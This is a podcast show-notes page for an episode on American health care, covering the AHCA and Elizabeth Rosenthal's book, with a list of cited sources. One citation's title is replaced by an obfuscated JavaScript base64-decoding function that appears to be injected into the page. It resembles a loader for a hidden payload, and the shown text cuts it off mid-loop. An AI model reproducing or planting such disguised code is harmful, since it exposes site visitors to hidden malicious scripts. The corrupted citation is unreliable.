Episode 1.12 – Health Care? More Like Health Don’t Care!
Welcome to This Is Fine episode 1.12. Thank you very much for listening, Finers. Please subscribe and review this podcast on iTunes or your favorite app, and remember that this podcast is “in-network” for most insurance plans.
In this week’s podcast, we take on the state of American health care, discussing at length the recently passed Republican zombie bill, the American Health Care Act, as well as Elizabeth Rosenthal’s book, An American Sickness, which discusses health care’s broken cost structure.
We discuss some of the paths forward for health care reform, and then close with a rare foray into current events, as the Trump administration’s recklessness manages to flabbergast even us.
We’ll return in two weeks with This is Fine 1.13, discussing mass incarceration.
Resources for the podcast (in order of discussion):
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Philip Klein, “Obamacare repeal effort stumbles into Senate, plagued by philosophical incoherence,” Washington Examiner
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Elizabeth Rosenthal, An American Sickness: How Healthcare Became Big Business and How You Can Take It Back
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Elizabeth Rosenthal, “Those Indecipherable Medical Bills? They’re One Reason Health Care Costs So Much,” New York Times
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Chris Ladd, “Socialism for White People,” politicalorphans.com
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Nate Cohn, “Trump Supporters Have the Most to Lose in the G.O.P. Repeal Bill,” New York Times: The Upshot
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Thomas Frank, What’s the Matter with Kansas?
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Danielle Kurtzleben, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6
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Dean Baker, ““Drugs are Cheap: Why Do We Let Governments Make Them Expensive?” CEPR
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Matt Bruenig, “How to Improve the Plight of Families With Children,” demos.org
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Jerry Vinokurov, “You Don’t Have to Give Bullshit a Platform,” blog.grapesmoker.net
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Hadas Gold, “New York Times publisher sends personal appeal to those who canceled over Bret Stephens,” Politico.com